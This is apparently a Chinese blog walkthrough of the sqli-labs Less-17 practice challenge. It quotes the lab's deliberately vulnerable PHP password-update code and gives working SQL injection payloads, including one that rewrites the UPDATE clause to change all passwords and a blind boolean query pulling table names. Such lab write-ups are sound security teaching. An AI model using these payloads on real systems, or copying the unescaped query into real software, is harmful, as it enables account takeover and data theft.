1. 程式人生 > 實用技巧 >less-17

less-17

less-17

基本測試

admin' or 1=1
admin') or 1=1
admin" or 1=1
admin") or 1=1

羞辱的回答

okok 檢視原始碼

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
	
	
	
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
	
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
	


  	}
	else  
	{
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
	
		echo "</font>";  
	}
}

?>


關鍵函式解釋

intval() 函式用於獲取變數的整數值。(函式通過使用指定的進位制 base 轉換(預設是十進位制),返回變數 var 的 integer 數值。 intval() 不能用於 object,否則會產生 E_NOTICE 錯誤並返回 1。)

get_magic_quotes_gpc() 函式是一個用來判斷是否為使用者提供的資料增加斜線了,這個在php.ini配置檔案中

// 去除斜槓
if(get_magic_quotes_gpc())
{
$value= stripslashes($value);
}

發現並不是通過第一句可以簡單的完成sql 注入

但是在判斷使用者名稱正確後對後面的修改操作卻某座限制 百密一疏

  • sql 注入的預防

    function check_input($value)
    	{
    	if(!empty($value))
    		{
    		// truncation (see comments)
    		$value = substr($value,0,15);
    		}
    
    		// Stripslashes if magic quotes enabled
    		if (get_magic_quotes_gpc())
    			{
    			$value = stripslashes($value);
    			}
    
    		// Quote if not a number
    		if (!ctype_digit($value))
    			{
    			$value = "'" . mysql_real_escape_string($value) . "'";
    			}
    		
    	else
    		{
    		$value = intval($value);
    		}
    	return $value;
    	}
    

原來如此

但是不得不承認是讀原始碼得出的sql注入

現在可用sql注入的盲注的方式修改密碼

admin' where 1=1  and 1=1#

UPDATE users SET password = 'passwd' WHERE  (if(((select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1) )='a'),1,"'"))

苦思冥想的sql語句

python 指令碼自己產找less -10